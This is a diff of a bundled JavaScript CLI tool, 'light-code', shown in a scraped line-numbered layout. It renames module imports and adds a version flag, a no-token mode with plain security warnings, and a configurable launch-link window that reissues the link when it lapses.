return new UserVariableStore(userVariablesPath(path30.join(dataDir, "users", storageKeyFor(principal))));
|
|
65039
66075
|
}
|
|
65040
66076
|
function userVariablesPath(userDir) {
|
|
65041
|
-
return
|
|
66077
|
+
return path30.join(userDir, "variables.json");
|
|
65042
66078
|
}
|
|
65043
66079
|
function readVariablesFile(filePath) {
|
|
65044
66080
|
try {
|
|
@@ -65052,8 +66088,8 @@ function readVariablesFile(filePath) {
|
|
|
65052
66088
|
|
|
65053
66089
|
// src/session.ts
|
|
65054
66090
|
import { watch as fsWatch } from "node:fs";
|
|
65055
|
-
import
|
|
65056
|
-
import
|
|
66091
|
+
import fs24 from "node:fs/promises";
|
|
66092
|
+
import path31 from "node:path";
|
|
65057
66093
|
var FileConfigStore = class {
|
|
65058
66094
|
constructor(userConfigPath, workspaceRoot) {
|
|
65059
66095
|
this.userConfigPath = userConfigPath;
|
|
@@ -65069,7 +66105,7 @@ var FileConfigStore = class {
|
|
|
65069
66105
|
const filePath = this.pathFor(scope);
|
|
65070
66106
|
if (filePath === void 0) return void 0;
|
|
65071
66107
|
try {
|
|
65072
|
-
return await
|
|
66108
|
+
return await fs24.readFile(filePath, "utf8");
|
|
65073
66109
|
} catch (error51) {
|
|
65074
66110
|
if (error51.code === "ENOENT") return void 0;
|
|
65075
66111
|
throw error51;
|
|
@@ -65079,14 +66115,14 @@ var FileConfigStore = class {
|
|
|
65079
66115
|
async write(scope, contents) {
|
|
65080
66116
|
const filePath = this.pathFor(scope);
|
|
65081
66117
|
if (filePath === void 0) throw new Error(`Cannot write ${scope} config: no workspace is open`);
|
|
65082
|
-
await
|
|
66118
|
+
await fs24.mkdir(path31.dirname(filePath), { recursive: true });
|
|
65083
66119
|
const temporary = `${filePath}.${process.pid.toString(36)}.tmp`;
|
|
65084
|
-
await
|
|
65085
|
-
await
|
|
66120
|
+
await fs24.writeFile(temporary, contents, { encoding: "utf8", mode: 384 });
|
|
66121
|
+
await fs24.rename(temporary, filePath);
|
|
65086
66122
|
try {
|
|
65087
66123
|
const backupTemp = `${configBackupPath(filePath)}.tmp`;
|
|
65088
|
-
await
|
|
65089
|
-
await
|
|
66124
|
+
await fs24.writeFile(backupTemp, contents, { encoding: "utf8", mode: 384 });
|
|
66125
|
+
await fs24.rename(backupTemp, configBackupPath(filePath));
|
|
65090
66126
|
} catch {
|
|
65091
66127
|
}
|
|
65092
66128
|
}
|
|
@@ -65094,7 +66130,7 @@ var FileConfigStore = class {
|
|
|
65094
66130
|
const filePath = this.pathFor(scope);
|
|
65095
66131
|
if (filePath === void 0) return void 0;
|
|
65096
66132
|
try {
|
|
65097
|
-
return await
|
|
66133
|
+
return await fs24.readFile(configBackupPath(filePath), "utf8");
|
|
65098
66134
|
} catch {
|
|
65099
66135
|
return void 0;
|
|
65100
66136
|
}
|
|
@@ -65104,7 +66140,7 @@ var FileConfigStore = class {
|
|
|
65104
66140
|
if (filePath === void 0) return void 0;
|
|
65105
66141
|
const target = `${filePath}.corrupt-${(/* @__PURE__ */ new Date()).toISOString().replace(/[:.]/g, "-")}`;
|
|
65106
66142
|
try {
|
|
65107
|
-
await
|
|
66143
|
+
await fs24.rename(filePath, target);
|
|
65108
66144
|
return target;
|
|
65109
66145
|
} catch {
|
|
65110
66146
|
return void 0;
|
|
@@ -65116,8 +66152,8 @@ var FileConfigStore = class {
|
|
|
65116
66152
|
};
|
|
65117
66153
|
let watcher;
|
|
65118
66154
|
try {
|
|
65119
|
-
watcher = fsWatch(
|
|
65120
|
-
if (filename ===
|
|
66155
|
+
watcher = fsWatch(path31.dirname(filePath), (_event, filename) => {
|
|
66156
|
+
if (filename === path31.basename(filePath)) onChange();
|
|
65121
66157
|
});
|
|
65122
66158
|
} catch {
|
|
65123
66159
|
}
|
|
@@ -65132,7 +66168,7 @@ var FileWorkspaceState = class {
|
|
|
65132
66168
|
values = {};
|
|
65133
66169
|
async load() {
|
|
65134
66170
|
try {
|
|
65135
|
-
const parsed = JSON.parse(await
|
|
66171
|
+
const parsed = JSON.parse(await fs24.readFile(this.filePath, "utf8"));
|
|
65136
66172
|
if (typeof parsed === "object" && parsed !== null) this.values = parsed;
|
|
65137
66173
|
} catch {
|
|
65138
66174
|
this.values = {};
|
|
@@ -65144,8 +66180,8 @@ var FileWorkspaceState = class {
|
|
|
65144
66180
|
async set(key, value) {
|
|
65145
66181
|
if (value === void 0) delete this.values[key];
|
|
65146
66182
|
else this.values[key] = value;
|
|
65147
|
-
await
|
|
65148
|
-
await
|
|
66183
|
+
await fs24.mkdir(path31.dirname(this.filePath), { recursive: true });
|
|
66184
|
+
await fs24.writeFile(this.filePath, JSON.stringify(this.values, null, 2), { encoding: "utf8", mode: 384 });
|
|
65149
66185
|
}
|
|
65150
66186
|
};
|
|
65151
66187
|
function createBrowserUi(workspaceRoot, post) {
|
|
@@ -65183,7 +66219,7 @@ function createBrowserUi(workspaceRoot, post) {
|
|
|
65183
66219
|
*/
|
|
65184
66220
|
openFile: async (filePath) => {
|
|
65185
66221
|
try {
|
|
65186
|
-
post([`[info] ${
|
|
66222
|
+
post([`[info] ${path31.basename(filePath)}`, "", await fs24.readFile(filePath, "utf8")].join("\n"));
|
|
65187
66223
|
} catch (error51) {
|
|
65188
66224
|
post(`[warning] Could not read ${filePath}: ${String(error51)}`);
|
|
65189
66225
|
}
|
|
@@ -65201,14 +66237,14 @@ function createBrowserUi(workspaceRoot, post) {
|
|
|
65201
66237
|
if (found.length >= limit || depth > 12) return;
|
|
65202
66238
|
let entries;
|
|
65203
66239
|
try {
|
|
65204
|
-
entries = await
|
|
66240
|
+
entries = await fs24.readdir(dir, { withFileTypes: true });
|
|
65205
66241
|
} catch {
|
|
65206
66242
|
return;
|
|
65207
66243
|
}
|
|
65208
66244
|
for (const entry of entries) {
|
|
65209
66245
|
if (found.length >= limit) return;
|
|
65210
66246
|
if (entry.name.startsWith(".") && entry.name !== ".env") continue;
|
|
65211
|
-
const full =
|
|
66247
|
+
const full = path31.join(dir, entry.name);
|
|
65212
66248
|
if (entry.isDirectory()) {
|
|
65213
66249
|
if (!skip.has(entry.name)) await walk(full, depth + 1);
|
|
65214
66250
|
} else if (needle.length === 0 || entry.name.toLowerCase().includes(needle)) {
|
|
@@ -65222,11 +66258,11 @@ function createBrowserUi(workspaceRoot, post) {
|
|
|
65222
66258
|
};
|
|
65223
66259
|
}
|
|
65224
66260
|
async function createSession(options) {
|
|
65225
|
-
const userDir =
|
|
65226
|
-
await
|
|
66261
|
+
const userDir = path31.join(options.dataDir, "users", storageKeyFor(options.principal));
|
|
66262
|
+
await fs24.mkdir(userDir, { recursive: true, mode: 448 });
|
|
65227
66263
|
const variableStore = new UserVariableStore(userVariablesPath(userDir));
|
|
65228
66264
|
const userVariables = () => variableStore.read();
|
|
65229
|
-
const workspaceState = new FileWorkspaceState(
|
|
66265
|
+
const workspaceState = new FileWorkspaceState(path31.join(userDir, "workspace-state.json"));
|
|
65230
66266
|
await workspaceState.load();
|
|
65231
66267
|
const services = {
|
|
65232
66268
|
transport: options.transport,
|
|
@@ -65234,9 +66270,9 @@ async function createSession(options) {
|
|
|
65234
66270
|
* A shared profile's API key belongs to the administrator and lives beside the shared config;
|
|
65235
66271
|
* everything else is this user's. Routed by the reference, which is all a secret store gets.
|
|
65236
66272
|
*/
|
|
65237
|
-
secrets: options.sharedSecrets === void 0 ? new FileSecretStore(
|
|
65238
|
-
configStore: options.sharedProfiles === void 0 ? new FileConfigStore(
|
|
65239
|
-
new FileConfigStore(
|
|
66273
|
+
secrets: options.sharedSecrets === void 0 ? new FileSecretStore(path31.join(userDir, "secrets.json")) : new RoutedSecretStore(new FileSecretStore(path31.join(userDir, "secrets.json")), options.sharedSecrets),
|
|
66274
|
+
configStore: options.sharedProfiles === void 0 ? new FileConfigStore(path31.join(userDir, "config.json"), options.workspaceRoot) : new SharedProfileConfigStore(
|
|
66275
|
+
new FileConfigStore(path31.join(userDir, "config.json"), options.workspaceRoot),
|
|
65240
66276
|
options.sharedProfiles
|
|
65241
66277
|
),
|
|
65242
66278
|
workspaceState,
|
|
@@ -65321,11 +66357,11 @@ var CONTENT_TYPES = {
|
|
|
65321
66357
|
async function startServer(options) {
|
|
65322
66358
|
const log = options.logSink ?? ((line) => process.stderr.write(`${line}
|
|
65323
66359
|
`));
|
|
65324
|
-
const identity = options.identity ?? new SingleUserIdentity();
|
|
66360
|
+
const identity = options.identity ?? (options.noToken === true ? new OpenIdentity() : new SingleUserIdentity(options.handoffSeconds));
|
|
65325
66361
|
const roles = options.roles ?? SINGLE_USER_POLICY;
|
|
65326
66362
|
const sharedStore = options.sharedConfig;
|
|
65327
|
-
const sharedSecretStore = new FileSecretStore(
|
|
65328
|
-
const reviews = new ReviewQueue(
|
|
66363
|
+
const sharedSecretStore = new FileSecretStore(path32.join(options.dataDir, "shared-secrets.json"));
|
|
66364
|
+
const reviews = new ReviewQueue(path32.join(options.dataDir, "reviews.json"));
|
|
65329
66365
|
let sharedCache = { variables: [], adminIds: [], profiles: [] };
|
|
65330
66366
|
const bindAddress = options.bindAddress ?? "127.0.0.1";
|
|
65331
66367
|
if (sharedStore !== void 0) sharedCache = await sharedStore.load();
|
|
@@ -65432,18 +66468,26 @@ async function startServer(options) {
|
|
|
65432
66468
|
return;
|
|
65433
66469
|
}
|
|
65434
66470
|
if (url2.pathname === "/api/session" && request.method === "POST") {
|
|
66471
|
+
if (identity instanceof OpenIdentity) {
|
|
66472
|
+
respondJson(response, 200, { token: "" });
|
|
66473
|
+
return;
|
|
66474
|
+
}
|
|
65435
66475
|
if (!(identity instanceof SingleUserIdentity)) {
|
|
65436
66476
|
reject(response, { status: 404, reason: "Handoff is only used in single-user mode." });
|
|
65437
66477
|
return;
|
|
65438
66478
|
}
|
|
65439
66479
|
const body = await readJsonBody(request);
|
|
65440
66480
|
const handoff = typeof body?.handoff === "string" ? body.handoff : "";
|
|
65441
|
-
const
|
|
65442
|
-
if (token === void 0) {
|
|
65443
|
-
|
|
66481
|
+
const outcome = identity.redeem(handoff);
|
|
66482
|
+
if (outcome.token === void 0) {
|
|
66483
|
+
if (outcome.reason === "expired" || outcome.reason === "spent") options.onHandoffLapsed?.(outcome.reason);
|
|
66484
|
+
reject(response, {
|
|
66485
|
+
status: 401,
|
|
66486
|
+
reason: outcome.reason === "expired" ? "That link expired. A fresh one has been printed in the terminal running light-code." : outcome.reason === "spent" ? "That link has already been used. A fresh one has been printed in the terminal." : "Handoff token invalid."
|
|
66487
|
+
});
|
|
65444
66488
|
return;
|
|
65445
66489
|
}
|
|
65446
|
-
respondJson(response, 200, { token });
|
|
66490
|
+
respondJson(response, 200, { token: outcome.token });
|
|
65447
66491
|
return;
|
|
65448
66492
|
}
|
|
65449
66493
|
const principal = await identity.authenticate(request);
|
|
@@ -65536,14 +66580,14 @@ async function startServer(options) {
|
|
|
65536
66580
|
if (options.workspaceRoot === void 0) return "No workspace is open, so there is nowhere to write it.";
|
|
65537
66581
|
try {
|
|
65538
66582
|
if (item.kind === "skill") {
|
|
65539
|
-
const dir2 =
|
|
65540
|
-
await
|
|
65541
|
-
await
|
|
66583
|
+
const dir2 = path32.join(options.workspaceRoot, ".lightcode", "skills");
|
|
66584
|
+
await fs25.mkdir(dir2, { recursive: true });
|
|
66585
|
+
await fs25.writeFile(path32.join(dir2, `${item.name}.md`), item.content, "utf8");
|
|
65542
66586
|
return void 0;
|
|
65543
66587
|
}
|
|
65544
|
-
const dir =
|
|
65545
|
-
await
|
|
65546
|
-
await
|
|
66588
|
+
const dir = path32.join(options.workspaceRoot, ".lightcode", "tools");
|
|
66589
|
+
await fs25.mkdir(dir, { recursive: true });
|
|
66590
|
+
await fs25.writeFile(path32.join(dir, `${item.name}.py`), item.content, "utf8");
|
|
65547
66591
|
return void 0;
|
|
65548
66592
|
} catch (error51) {
|
|
65549
66593
|
return error51 instanceof Error ? error51.message : String(error51);
|
|
@@ -65644,9 +66688,9 @@ async function startServer(options) {
|
|
|
65644
66688
|
return;
|
|
65645
66689
|
}
|
|
65646
66690
|
try {
|
|
65647
|
-
const body = await
|
|
66691
|
+
const body = await fs25.readFile(path32.join(options.clientDir, asset));
|
|
65648
66692
|
response.writeHead(200, {
|
|
65649
|
-
"Content-Type": CONTENT_TYPES[
|
|
66693
|
+
"Content-Type": CONTENT_TYPES[path32.extname(asset)] ?? "application/octet-stream",
|
|
65650
66694
|
...securityHeaders()
|
|
65651
66695
|
});
|
|
65652
66696
|
response.end(body);
|
|
@@ -65662,6 +66706,7 @@ async function startServer(options) {
|
|
|
65662
66706
|
return {
|
|
65663
66707
|
url: `http://${authority}`,
|
|
65664
66708
|
launchToken: identity instanceof SingleUserIdentity ? identity.launchToken : void 0,
|
|
66709
|
+
newLaunchUrl: identity instanceof SingleUserIdentity ? () => `http://${authority}/#t=${identity.remintHandoff()}` : void 0,
|
|
65665
66710
|
close: () => new Promise((resolve) => {
|
|
65666
66711
|
for (const connection of connections.values()) connection.dispose();
|
|
65667
66712
|
connections.clear();
|
|
@@ -65675,6 +66720,7 @@ function respondJson(response, status, body) {
|
|
|
65675
66720
|
}
|
|
65676
66721
|
|
|
65677
66722
|
// src/cli.ts
|
|
66723
|
+
var VERSION = true ? "0.39.0" : "unknown (not a packaged build)";
|
|
65678
66724
|
var compat = installNodeCompat();
|
|
65679
66725
|
async function main() {
|
|
65680
66726
|
const args = process.argv.slice(2);
|
|
@@ -65688,19 +66734,24 @@ async function main() {
|
|
|
65688
66734
|
process.stdout.write("\n");
|
|
65689
66735
|
return;
|
|
65690
66736
|
}
|
|
65691
|
-
const file2 =
|
|
65692
|
-
await
|
|
66737
|
+
const file2 = path33.join(os3.tmpdir(), "light-code-guide.html");
|
|
66738
|
+
await fs26.writeFile(file2, guidePage(OPERATOR_GUIDE), "utf8");
|
|
65693
66739
|
process.stdout.write(`Opening the guide: ${file2}
|
|
65694
66740
|
(--guide --no-open prints it instead.)
|
|
65695
66741
|
`);
|
|
65696
66742
|
openBrowser(pathToFileURL(file2).href);
|
|
65697
66743
|
return;
|
|
65698
66744
|
}
|
|
66745
|
+
if (args.includes("--version") || args.includes("-v")) {
|
|
66746
|
+
process.stdout.write(`${VERSION}
|
|
66747
|
+
`);
|
|
66748
|
+
return;
|
|
66749
|
+
}
|
|
65699
66750
|
const unknown2 = args.filter((arg) => arg.startsWith("--") && !KNOWN_FLAGS.has(arg));
|
|
65700
66751
|
if (unknown2.length > 0) {
|
|
65701
66752
|
process.stderr.write(
|
|
65702
66753
|
`light-code: unknown option${unknown2.length === 1 ? "" : "s"} ${unknown2.join(", ")}
|
|
65703
|
-
If you expected this to work, you may be on an older cached copy
|
|
66754
|
+
If you expected this to work, you may be on an older cached copy. This one is ${VERSION}. Try:
|
|
65704
66755
|
npx @chosengeneration/light-code@latest --help
|
|
65705
66756
|
`
|
|
65706
66757
|
);
|
|
@@ -65722,9 +66773,14 @@ Did you mean: --admin-id ${strayAdminValue.join(" --admin-id ")}
|
|
|
65722
66773
|
const adminIds = valuesOf(args, "--admin-id");
|
|
65723
66774
|
const trustedProxies = valuesOf(args, "--trust-proxy");
|
|
65724
66775
|
const userHeader = valueOf(args, "--user-header");
|
|
65725
|
-
const workspaceRoot =
|
|
66776
|
+
const workspaceRoot = path33.resolve(valueOf(args, "--workspace") ?? process.cwd());
|
|
65726
66777
|
const dataDir = valueOf(args, "--data-dir") ?? envPaths("light-code", { suffix: "" }).data;
|
|
65727
66778
|
const port = Number.parseInt(valueOf(args, "--port") ?? "0", 10);
|
|
66779
|
+
const noToken = args.includes("--no-token");
|
|
66780
|
+
const handoffSeconds = Math.min(
|
|
66781
|
+
600,
|
|
66782
|
+
Math.max(1, Number.parseInt(valueOf(args, "--handoff-seconds") ?? "10", 10) || 10)
|
|
66783
|
+
);
|
|
65728
66784
|
const bindAddress = valueOf(args, "--bind");
|
|
65729
66785
|
const noOpen = args.includes("--no-open") || serverMode;
|
|
65730
66786
|
let identity;
|
|
@@ -65746,18 +66802,42 @@ Did you mean: --admin-id ${strayAdminValue.join(" --admin-id ")}
|
|
|
65746
66802
|
...userHeader !== void 0 ? { userHeader } : {}
|
|
65747
66803
|
});
|
|
65748
66804
|
}
|
|
65749
|
-
const sharedConfig = new SharedConfigStore(
|
|
66805
|
+
const sharedConfig = new SharedConfigStore(path33.join(dataDir, "shared.json"));
|
|
65750
66806
|
const shared = await sharedConfig.load();
|
|
65751
66807
|
const effectiveAdminIds = [.../* @__PURE__ */ new Set([...shared.adminIds, ...adminIds])];
|
|
65752
66808
|
if (adminIds.length > 0 && effectiveAdminIds.length !== shared.adminIds.length) {
|
|
65753
66809
|
await sharedConfig.save({ adminIds: effectiveAdminIds });
|
|
65754
66810
|
}
|
|
65755
|
-
const here =
|
|
66811
|
+
const here = path33.dirname(fileURLToPath(import.meta.url));
|
|
65756
66812
|
const server = await startServer({
|
|
65757
66813
|
workspaceRoot,
|
|
65758
66814
|
dataDir,
|
|
65759
|
-
clientDir:
|
|
66815
|
+
clientDir: path33.join(here, "client"),
|
|
65760
66816
|
ripgrepPath: resolveRipgrep(),
|
|
66817
|
+
handoffSeconds,
|
|
66818
|
+
noToken,
|
|
66819
|
+
/*
|
|
66820
|
+
* A lapsed link is replaced rather than ending the session.
|
|
66821
|
+
*
|
|
66822
|
+
* Before this the only way back from pasting a URL a few seconds late was to stop the server
|
|
66823
|
+
* and start it again, losing the conversation and anything running with it. The fresh link is
|
|
66824
|
+
* printed to this terminal, which is where the first one was printed, so it reaches nobody it
|
|
66825
|
+
* had not already reached.
|
|
66826
|
+
*
|
|
66827
|
+
* Printed with a sentence, because a URL appearing on its own reads as the server having
|
|
66828
|
+
* restarted itself.
|
|
66829
|
+
*/
|
|
66830
|
+
onHandoffLapsed: (reason) => {
|
|
66831
|
+
const fresh = server.newLaunchUrl?.();
|
|
66832
|
+
if (fresh === void 0) return;
|
|
66833
|
+
process.stdout.write(
|
|
66834
|
+
`
|
|
66835
|
+
That link ${reason === "expired" ? "expired" : "had already been used"}. Here is a fresh one, good for ${String(handoffSeconds)} seconds:
|
|
66836
|
+
${fresh}
|
|
66837
|
+
|
|
66838
|
+
`
|
|
66839
|
+
);
|
|
66840
|
+
},
|
|
65761
66841
|
port: Number.isNaN(port) ? 0 : port,
|
|
65762
66842
|
...serverMode ? { roles: adminListPolicy(effectiveAdminIds), sharedConfig } : {},
|
|
65763
66843
|
...identity !== void 0 ? { identity } : {},
|
|
@@ -65766,12 +66846,20 @@ Did you mean: --admin-id ${strayAdminValue.join(" --admin-id ")}
|
|
|
65766
66846
|
const launchUrl = `${server.url}${adminMode ? "/admin" : ""}/#t=${server.launchToken ?? ""}`;
|
|
65767
66847
|
process.stdout.write(
|
|
65768
66848
|
`
|
|
65769
|
-
Light Code
|
|
66849
|
+
Light Code ${VERSION}
|
|
65770
66850
|
workspace ${workspaceRoot}
|
|
65771
66851
|
data ${dataDir}
|
|
65772
66852
|
listening ${server.url}
|
|
65773
66853
|
`
|
|
65774
66854
|
);
|
|
66855
|
+
if (noToken) {
|
|
66856
|
+
process.stdout.write(
|
|
66857
|
+
` auth none \u2014 --no-token. Any program on this machine can drive this
|
|
66858
|
+
server as you. Origin and Host are still checked, so a web page
|
|
66859
|
+
cannot. Stop it when you are done.
|
|
66860
|
+
`
|
|
66861
|
+
);
|
|
66862
|
+
}
|
|
65775
66863
|
if (compat.installed.length > 0) {
|
|
65776
66864
|
process.stdout.write(
|
|
65777
66865
|
` node ${compat.nodeVersion} \u2014 supplied ${String(compat.installed.length)} web global(s) Node 18 makes standard
|
|
@@ -65802,13 +66890,13 @@ Both go through your proxy. Anyone reaching /admin directly is an administrator.
|
|
|
65802
66890
|
} else {
|
|
65803
66891
|
process.stdout.write(
|
|
65804
66892
|
`Opening ${server.url}
|
|
65805
|
-
(If the browser does not open, paste this within
|
|
66893
|
+
(If the browser does not open, paste this within ${String(handoffSeconds)} seconds:)
|
|
65806
66894
|
${launchUrl}
|
|
65807
66895
|
|
|
65808
|
-
`
|
|
66896
|
+
` + (handoffSeconds === 10 ? " Not long enough? Start with --handoff-seconds 120.\n If it does lapse, a fresh link is printed here \u2014 no need to restart.\n\n" : " If it does lapse, a fresh link is printed here \u2014 no need to restart.\n\n")
|
|
65809
66897
|
);
|
|
65810
66898
|
}
|
|
65811
|
-
if (!noOpen) openBrowser(launchUrl);
|
|
66899
|
+
if (!noOpen) openBrowser(noToken ? server.url : launchUrl);
|
|
65812
66900
|
const shutdown = () => {
|
|
65813
66901
|
process.stdout.write("\nStopping.\n");
|
|
65814
66902
|
void server.close().then(() => process.exit(0));
|
|
@@ -65819,10 +66907,14 @@ ${launchUrl}
|
|
|
65819
66907
|
var KNOWN_FLAGS = /* @__PURE__ */ new Set([
|
|
65820
66908
|
"--help",
|
|
65821
66909
|
"-h",
|
|
66910
|
+
"--version",
|
|
66911
|
+
"-v",
|
|
66912
|
+
"--handoff-seconds",
|
|
65822
66913
|
"--workspace",
|
|
65823
66914
|
"--port",
|
|
65824
66915
|
"--data-dir",
|
|
65825
66916
|
"--no-open",
|
|
66917
|
+
"--no-token",
|
|
65826
66918
|
"--server",
|
|
65827
66919
|
"--admin",
|
|
65828
66920
|
"--admin-id",
|
|
@@ -65866,9 +66958,18 @@ function usage() {
|
|
|
65866
66958
|
Usage: light-code [options]
|
|
65867
66959
|
|
|
65868
66960
|
--workspace <dir> Folder to work in (default: current directory)
|
|
66961
|
+
--version, -v Print the version and exit
|
|
65869
66962
|
--port <n> Port to bind (default: an unused one)
|
|
65870
66963
|
--data-dir <dir> Where config, secrets and task history live
|
|
65871
66964
|
--no-open Print the URL instead of launching a browser
|
|
66965
|
+
--no-token Serve with no bearer token, so any request to the port is
|
|
66966
|
+
accepted. Origin and Host are still checked, so a page in
|
|
66967
|
+
another tab still cannot reach it \u2014 but any program running
|
|
66968
|
+
as you can. For a local machine you trust.
|
|
66969
|
+
--handoff-seconds <n> How long the launch link stays valid (default 10, max 600).
|
|
66970
|
+
Raise it when carrying the URL by hand. It rides in the URL
|
|
66971
|
+
fragment, so a longer window is longer for anyone reading
|
|
66972
|
+
your scrollback to use it first.
|
|
65872
66973
|
--server Shared mode: configuration is read-only for everyone
|
|
65873
66974
|
except the administrators named below
|
|
65874
66975
|
--admin Open the administrator's interface (/admin) instead
|